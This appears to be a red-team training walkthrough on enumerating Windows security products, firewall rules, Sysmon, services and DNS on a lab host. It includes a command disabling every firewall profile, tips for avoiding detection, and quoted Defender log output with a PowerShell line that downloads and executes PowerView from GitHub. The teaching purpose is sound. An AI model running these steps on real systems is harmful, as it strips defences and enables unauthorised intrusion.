The Lay of The Land
Host Security Solutions
Antivirus Software (AV)
Antivirus software also known as anti-malware, is mainly used to monitor, detect, and prevent malicious software from being executed within the host. Most antivirus software applications use well-known features, including Background scanning, Full system scans, Virus definitions. In the background scanning, the antivirus software works in real-time and scans all open and used files in the background. The full system scan is essential when you first install the antivirus. The most interesting part is the virus definitions, where antivirus software replies to the pre-defined virus. That's why antivirus software needs to update from time to time.
There are various detection techniques that the antivirus uses, including
- Signature-based detection
- Heuristic-based detection
- Behavior-based detection
Signature-based detection is one of the common and traditional techniques used in antivirus software to identify malicious files. Often, researchers or users submit their infected files into an antivirus engine platform for further analysis by AV vendors, and if it confirms as malicious, then the signature gets registered in their database. The antivirus software compares the scanned file with a database of known signatures for possible attacks and malware on the client-side. If we have a match, then it considers a threat.
Heuristic-based detection uses machine learning to decide whether we have the malicious file or not. It scans and statically analyses in real-time in order to find suspicious properties in the application's code or check whether it uses uncommon Windows or system APIs. It does not rely on the signature-based attack in making the decisions, or sometimes it does. This depends on the implementation of the antivirus software.
Finally, Behavior-based detection relies on monitoring and examining the execution of applications to find abnormal behaviors and uncommon activities, such as creating/updating values in registry keys, killing/creating processes, etc.
As a red teamer, it is essential to be aware of whether antivirus exists or not. It prevents us from doing what we are attempting to do. We can enumerate AV software using Windows built-in tools, such as wmic.
wmic /namespace:\\root\securitycenter2 path antivirusproduct
This also can be done using PowerShell, which gives the same result.
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
displayName : Bitdefender Antivirus
instanceGuid : {BAF124F4-FA00-8560-3FDE-6C380446AEFB}
pathToSignedProductExe : C:\Program Files\Bitdefender\Bitdefender Security\wscfix.exe
pathToSignedReportingExe : C:\Program Files\Bitdefender\Bitdefender Security\bdservicehost.exe
productState : 266240
timestamp : Wed, 15 Dec 2021 12:40:10 GMT
PSComputerName :
displayName : Windows Defender
instanceGuid : {D58FFC3A-813B-4fae-9E44-DA132C9FAA36}
pathToSignedProductExe : windowsdefender://
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpeng.exe
productState : 393472
timestamp : Fri, 15 Oct 2021 22:32:01 GMT
PSComputerName :
As a result, there is a third-party antivirus (Bitdefender Antivirus) and Windows Defender installed on the computer. Note that Windows servers may not have SecurityCenter2 namespace. Instead, it works for Windows workstations!
Microsoft Windows Defender
Microsoft Windows Defender is a pre-installed antivirus security tool that runs on endpoints. It uses various algorithms in the detection, including machine learning, big-data analysis, in-depth threat resistance research, and Microsoft cloud infrastructure in protection against malware and viruses. MS Defender works in three protection modes: Active, Passive, Disable modes.
Active mode is used where the MS Defender runs as the primary antivirus software on the machine where provides protection and remediation. Passive mode is run when a 3rd party antivirus software is installed. Therefore, it works as secondary antivirus software where it scans files and detects threats but does not provide remediation. Finally, Disable mode is when the MS Defender is disabled or uninstalled from the system.
We can use the following PowerShell command to check the service state of Windows Defender:
PS C:\Users\kkidd> Get-Service WinDefend
Status Name DisplayName
------ ---- -----------
Running WinDefend Windows Defender Antivirus Service
Next, we can start using the Get-MpComputerStatus cmdlet to get the current Windows Defender status. However, it provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc. We can use select to specify what we need for as follows:
PS C:\Users\kkidd> Get-MpComputerStatus | select RealTimeProtectionEnabled
RealTimeProtectionEnabled
-------------------------
False
As a result, MpComputerStatus highlights whether Windows Defender is enabled or not.
Host-based Firewall
It is a security tool installed and run on a host machine that can prevent and block attacker or red teamers' attack attempts. Thus, it is essential to enumerate and gather details about the firewall and its rules within the machine we have initial access to.
The main purpose of the host-based firewall is to control the inbound and outbound traffic that goes through the device's interface. It protects the host from untrusted devices that are on the same network. A modern host-based firewall uses multiple levels of analyzing traffic, including packet analysis, while establishing the connection.
A firewall acts as control access at the network layer. It is capable of allowing and denying network packets. For example, a firewall can be configured to block ICMP packets sent through the ping command from other machines in the same network. Next-generation firewalls also can inspect other OSI layers, such as application layers. Therefore, it can detect and block SQL injection and other application-layer attacks.
PS C:\Users\kkidd> Get-NetFirewallProfile | Format-Table Name, Enabled
Name Enabled
---- -------
Domain True
Private True
Public True
If we have admin privileges on the current user we logged in with, then we try to disable one or more than one firewall profile using the Set-NetFirewallProfile cmdlet.
PS C:\Windows\system32> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
PS C:\Windows\system32> Get-NetFirewallProfile | Format-Table Name, Enabled
---- -------
Domain False
Private False
Public False
We can also learn and check the current Firewall rules, whether allowing or denying by the firewall.
PS C:\Users\thm> Get-NetFirewallRule | select DisplayName, Enabled, Description
DisplayName Enabled
----------- -------
Virtual Machine Monitoring (DCOM-In) False
Virtual Machine Monitoring (Echo Request - ICMPv4-In) False
Virtual Machine Monitoring (Echo Request - ICMPv6-In) False
Virtual Machine Monitoring (NB-Session-In) False
Virtual Machine Monitoring (RPC) False
SNMP Trap Service (UDP In) False
SNMP Trap Service (UDP In) False
Connected User Experiences and Telemetry True
Delivery Optimization (TCP-In) True
During the red team engagement, we have no clue what the firewall blocks. However, we can take advantage of some PowerShell cmdlets such as Test-NetConnection and TcpClient. Assume we know that a firewall is in place, and we need to test inbound connection without extra tools, then we can do the following:
PS C:\Users\thm> Test-NetConnection -ComputerName 127.0.0.1 -Port 80
ComputerName : 127.0.0.1
RemoteAddress : 127.0.0.1
RemotePort : 80
InterfaceAlias : Loopback Pseudo-Interface 1
SourceAddress : 127.0.0.1
TcpTestSucceeded : True
PS C:\Users\thm> (New-Object System.Net.Sockets.TcpClient("127.0.0.1", "80")).Connected
True
As a result, we can confirm the inbound connection on port 80 is open and allowed in the firewall. Note that we can also test for remote targets in the same network or domain names by specifying in the -ComputerName argument for the Test-NetConnection.
Also, Get-MpThreat can provide us with threats details that have been detected using MS Defender:
PS C:\Users\kkidd> Get-MpThreat
CategoryID : 8
DidThreatExecute : False
IsActive : False
Resources : {CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object
Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');
Get-NetGroupMember 'Domain Admins', internalCmdLine:_i AQAAAA2wA4AAAAAAAAAAAF8Q02fXQQEAbRa5PR40vlvAdUq6bbN3ro51dwpUcm9qYW46
UG93ZXJTaGVsbC9Qb3dlcnNwbG9pdC5HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== 57 10
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell IEX (New-Object
Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');
Get-NetGroupMember 'Domain Admins'}
RollupStatus : 1
SchemaVersion : 1.0.0.0
SeverityID : 5
ThreatID : 2147725325
ThreatName : Trojan:PowerShell/Powersploit.G
TypeID : 0
PSComputerName :
CategoryID : 34
DidThreatExecute : False
IsActive : False
Resources : {file:_C:\Users\kkidd\Desktop\PowerView.ps1, containerfile:_C:\Users\kkidd\Desktop\PowerView.ps1,
file:_C:\Users\kkidd\Desktop\PowerView.ps1->(UTF-8)}
RollupStatus : 1
SchemaVersion : 1.0.0.0
SeverityID : 4
ThreatID : 2147755688
ThreatName : HackTool:PowerShell/PowerView
TypeID : 0
PSComputerName :
CategoryID : 34
DidThreatExecute : True
IsActive : False
Resources : {amsi:_C:\Tools\PowerView.ps1, internalamsi:_0296D712FA44FD733F95B0C00E4631FC}
RollupStatus : 65
SchemaVersion : 1.0.0.0
SeverityID : 4
ThreatID : 2147762887
ThreatName : HackTool:PowerShell/InvKerber.B
TypeID : 0
PSComputerName :
Security Event Logging and Monitoring
We can get a list of available event logs on the local machine using the Get-EventLog cmdlet.
PS C:\Users\thm> Get-EventLog -List
Max(K) Retain OverflowAction Entries Log
------ ------ -------------- ------- ---
512 7 OverwriteOlder 59 Active Directory Web Services
20,480 0 OverwriteAsNeeded 512 Application
512 0 OverwriteAsNeeded 170 Directory Service
102,400 0 OverwriteAsNeeded 67 DNS Server
20,480 0 OverwriteAsNeeded 4,345 System
15,360 0 OverwriteAsNeeded 1,692 Windows PowerShell
Sometimes, the list of available event logs gives you an insight into what applications and services are installed on the machine! For example, we can see that the local machine has Active Directory, DNS server, etc. For more information about the Get-EventLog cmdlet with examples, visit the Microsoft documents website.
System Monitor (Sysmon)
Windows System Monitor sysmon is a service and device driver. It is one of the Microsoft Sysinternals suites. The sysmon tool is not an essential tool (not installed by default), but it starts gathering and logging events once installed. These logs indicators can significantly help system administrators and blue teamers to track and investigate malicious activity and help with general troubleshooting.
One of the great features of the sysmon tool is that it can log many important events, and you can also create your own rule(s) and configuration to monitor:
- Process creation and termination
- Network connections
- Modification on file
- Remote threats
- Process and memory accessand many others
For learning more about sysmon, visit the Windows document page here.
As a red teamer, one of the primary goals is to stay undetectable, so it is essential to be aware of these tools and avoid causing generating and alerting events. The following are some of the tricks that can be used to detect whether the sysmon is available in the victim machine or not.
We can look for a process or service that has been named Sysmon within the current process or services as follows:
PS C:\Users\kkidd> Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
368 15 18656 30124 2876 0 Sysmon
Or look for services as follows:
PS C:\Users\kkidd> Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"
ProcessId Name StartMode State Status ExitCode
--------- ---- --------- ----- ------ --------
2876 Sysmon Auto Running OK 0
PS C:\Users\kkidd> Get-Service | where-object {$_.DisplayName -like "*sysm*"}
Status Name DisplayName
------ ---- -----------
Running SysMain SysMain
Running Sysmon Sysmon
It also can be done by checking the Windows registry:
PS C:\Users\kkidd> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
OwningPublisher REG_SZ {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
Enabled REG_DWORD 0x1
Isolation REG_DWORD 0x2
ChannelAccess REG_SZ O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)
MaxSize REG_DWORD 0x4000000
MaxSizeUpper REG_DWORD 0x0
Type REG_DWORD 0x1
All these commands confirm if the sysmon tool is installed. Once we detect it, we can try to find the sysmon configuration file if we have readable permission to understand what system administrators are monitoring.
PS C:\Users\kkidd> findstr /si '<ProcessCreate onmatch="exclude">' C:\tools\*
C:\tools\Sysmon\sysmonconfig.xml: <ProcessCreate onmatch="include">
C:\tools\Sysmon\sysmonconfig.xml: <ProcessCreate onmatch="exclude">
Host-based Intrusion Detection/Prevention System (HIDS/HIPS)
HIDS stands for Host-based Intrusion Detection System. It is software that has the ability to monitor and detect abnormal and malicious activities in a host. The primary purpose of HIDS is to detect suspicious activities and not to prevent them. There are two methods that the host-based or network intrusion detection system works, including:
- Signature-based IDS - it looks at checksums and message authentication.
- Anomaly-based IDS looks for unexpected activities, including abnormal bandwidth usage, protocols, and ports.
Host-based Intrusion Prevention Systems (HIPS) works by securing the operating system activities which where is installed. It is a detecting and prevention solution against well-known attacks and abnormal behaviors. HIPS is capable of auditing log files of the host, monitoring processes, and protecting system resources. HIPS is a mixture of best product features such as antivirus, behavior analysis, network, application firewall, etc.
Endpoint Detection and Response (EDR)
It is also known as Endpoint Detection and Threat Response (EDTR). The EDR is a cybersecurity solution that defends against malware and other threats. EDRs can look for malicious files, monitor endpoint, system, and network events, and record them in a database for further analysis, detection, and investigation. EDRs are the next generation of antivirus and detect malicious activities on the host in real-time.
EDR analyze system data and behavior for making section threats, including
- Malware, including viruses, trojans, adware, keyloggers
- Exploit chains
- Ransomware
Below are some common EDR software for endpoints
- Cylance
- Crowdstrike
- Symantec
- SentinelOne
- Many others
Even though an attacker successfully delivered their payload and bypassed EDR in receiving reverse shell, EDR is still running and monitors the system. It may block us from doing something else if it flags an alert.
We can use scripts for enumerating security products within the machine, such as Invoke-EDRChecker and SharpEDRChecker. They check for commonly used Antivirus, EDR, logging monitor products by checking file metadata, processes, DLL loaded into current processes, Services, and drivers, directories.
Network Security Solutions
Network security solutions could be software or hardware appliances used to monitor, detect and prevent malicious activities within the network. It focuses on protecting clients and devices connected to the cooperation network. The network security solution includes but is not limited to:
- Network Firewall
- SIEM
- IDS/IPS
Network Firewall
A firewall is the first checkpoint for untrusted traffic that arrives at a network. The firewall filters the untrusted traffic before passing it into the network based on rules and policies. In addition, Firewalls can be used to separate networks from external traffic sources, internal traffic sources, or even specific applications. Nowadays, firewall products are built-in network routers or other security products that provide various security features. The following are some firewall types that enterprises may use.
- Packet-filtering firewalls
- Proxy firewalls
- NAT firewalls
- Web application firewalls
Security Information and Event Management (SIEM)
SIEM combines Security Information Management (SIM) and Security Event Management (SEM) to monitor and analyze events and track and log data in real-time. SIEM helps system administrators and blue teamers to monitor and track potential security threats and vulnerabilities before causing damage to an organization.
SIEM solutions work as log data aggregation center, where it collects log files from sensors and perform functions on the gathered data to identify and detect security threats or attacks. The following are some of the functions that a SIEM may offer:
- Log management: It captures and gathers data for the entire enterprise network in real-time.
- Event analytics: It applies advanced analytics to detect abnormal patterns or behaviors, available in the dashboard with charts and statistics.
- Incident monitoring and security alerts: It monitors the entire network, including connected users, devices, applications, etcetera, and as soon as attacks are detected, it alerts administrators immediately to take appropriate action to mitigate.
- Compliance management and reporting: It generates real-time reports at any time.
SIEM is capable of detecting advanced and unknown threats using integrated threat intelligence and AI technologies, including Insider threats, security vulnerabilities, phishing attacks, Web attacks, DDoS attacks, data exfiltration, etc.
The following are some of the SIEM products that are commonly seen in many enterprises:
- Splunk
- LogRhythm NextGen SIEM Platform
- SolarWinds Security Event Manager
- Datadog Security Monitoring
- many others
Intrusion Detection System and Intrusion Prevention System (NIDS/NIPS)
Network-based IDS/IPS have a similar concept to the host-based IDS/IPS. The main difference is that the network-based products focus on the security of a network instead of a host. The network-based solution will be based on sensors and agents distributed in the network devices and hosts to collect data. IDS and IPS are both detection and monitoring cybersecurity solutions that an enterprise uses to secure its internal systems. They both read network packets looking for abnormal behaviors and known threats pre-loaded into a previous database. The significant difference between both solutions is that the IDS requires human interaction or 3rd party software to analyze the data to take action. The IPS is a control system that accepts or rejects packets based on policies and rules.
The following are common enterprise IDS/IPS products
- Palo Alto Networks
- Cisco's Next-Generation
- McAfee Network Security Platform (NSP)
- Trend Micro TippingPoint
- Suricata
For more information about IDS/IPS, visit the reference link.
Applications and Services
Installed Applications
First, we start enumerating the system for installed applications by checking the application's name and version. As a red teamer, this information will benefit us. We may find vulnerable software installed to exploit and escalate our system privileges. Also, we may find some information, such as plain-text credentials, is left on the system that belongs to other systems or services.
We will be using the wmic Windows command to list all installed applications and their version.
PS C:\Users\thm> wmic product get name,version
Name Version
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910 14.28.29910
AWS Tools for Windows 3.15.1248
Amazon SSM Agent 3.0.529.0
aws-cfn-bootstrap 2.0.5
AWS PV Drivers 8.3.4
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910 14.28.29910
Another interesting thing is to look for particular text strings, hidden directories, backup files. Then we can use the PowerShell cmdlets, Get-ChildItem, as follow:
PS C:\Users\thm> Get-ChildItem -Hidden -Path C:\Users\kkidd\Desktop\
Services and Process
Windows services enable the system administrator to create long-running executable applications in our own Windows sessions. Sometimes Windows services have misconfiguration permissions, which escalates the current user access level of permissions. Therefore, we must look at running services and perform services and processes reconnaissance. For more details, you can read about process discovery on Attack MITRE.
Process discovery is an enumeration step to understand what the system provides. The red team should get information and details about running services and processes on a system. We need to understand as much as possible about our targets. This information could help us understand common software running on other systems in the network. For example, the compromised system may have a custom client application used for internal purposes. Custom internally developed software is the most common root cause of escalation vectors. Thus, it is worth digging more to get details about the current process.
Sharing files and Printers
Sharing files and network resources is commonly used in personal and enterprise environments. System administrators misconfigure access permissions, and they may have useful information about other accounts and systems.
Internal services: DNS, local web applications, etc
Internal network services are another source of information to expand our knowledge about other systems and the entire environment.
The following are some of the internal services that are commonly used that we are interested in:
- DNS Services
- Email Services
- Network File Share
- Web application
- Database service
Practice
Let's try listing the running services using the Windows command prompt net start to check if there are any interesting running services.
PS C:\Users\thm> net start
These Windows services are started:
Active Directory Web Services
Amazon SSM Agent
Application Host Helper Service
Cryptographic Services
DCOM Server Process Launcher
DFS Namespace
DFS Replication
DHCP Client
Diagnostic Policy Service
THM Demo
DNS Client
We can see a service with the name THM Demo which we want to know more about.
Now let's look for the exact service name, which we need to find more information.
PS C:\Users\thm> wmic service where "name like 'THM Demo'" get Name,PathName
Name PathName
THM Service c:\Windows\thm-demo.exe
We find the file name and its path; now let's find more details using the Get-Process cmdlet.
PS C:\Users\thm> Get-Process -Name thm-demo
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
82 9 13128 6200 3212 0 thm-service
Once we find its process ID, let's check if providing a network service by listing the listening ports within the system.
PS C:\Users\thm> netstat -noa |findstr "LISTENING" |findstr "3212"
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 3212
TCP [::]:8080 [::]:0 LISTENING 3212
We mentioned that DNS service is a commonly used protocol in any active directory environment and network. The attached machine provides DNS services for AD. Let's enumerate the DNS by performing a zone transfer DNS and see if we can list all records.
We will perform DNS zone transfer using the Microsoft tool is nslookup.exe.
PS C:\Users\thm> nslookup.exe
Default Server: UnKnown
Address: ::1
Once we execute it, we provide the DNS server that we need to ask, which in this case is the target machine
> server 10.10.89.120
Default Server: [MACHINE_IP]
Address: MACHINE_IP
Now let's try the DNS zone transfer on the domain we find in the AD environment.
> ls -d thmredteam.com
[[10.10.89.120]]
thmredteam.com. SOA ad.thmredteam.com hostmaster.thmredteam.com. (732 900 600 86400 3600)
thmredteam.com. A MACHINE_IP
thmredteam.com. NS ad.thmredteam.com
***
ad A MACHINE_IP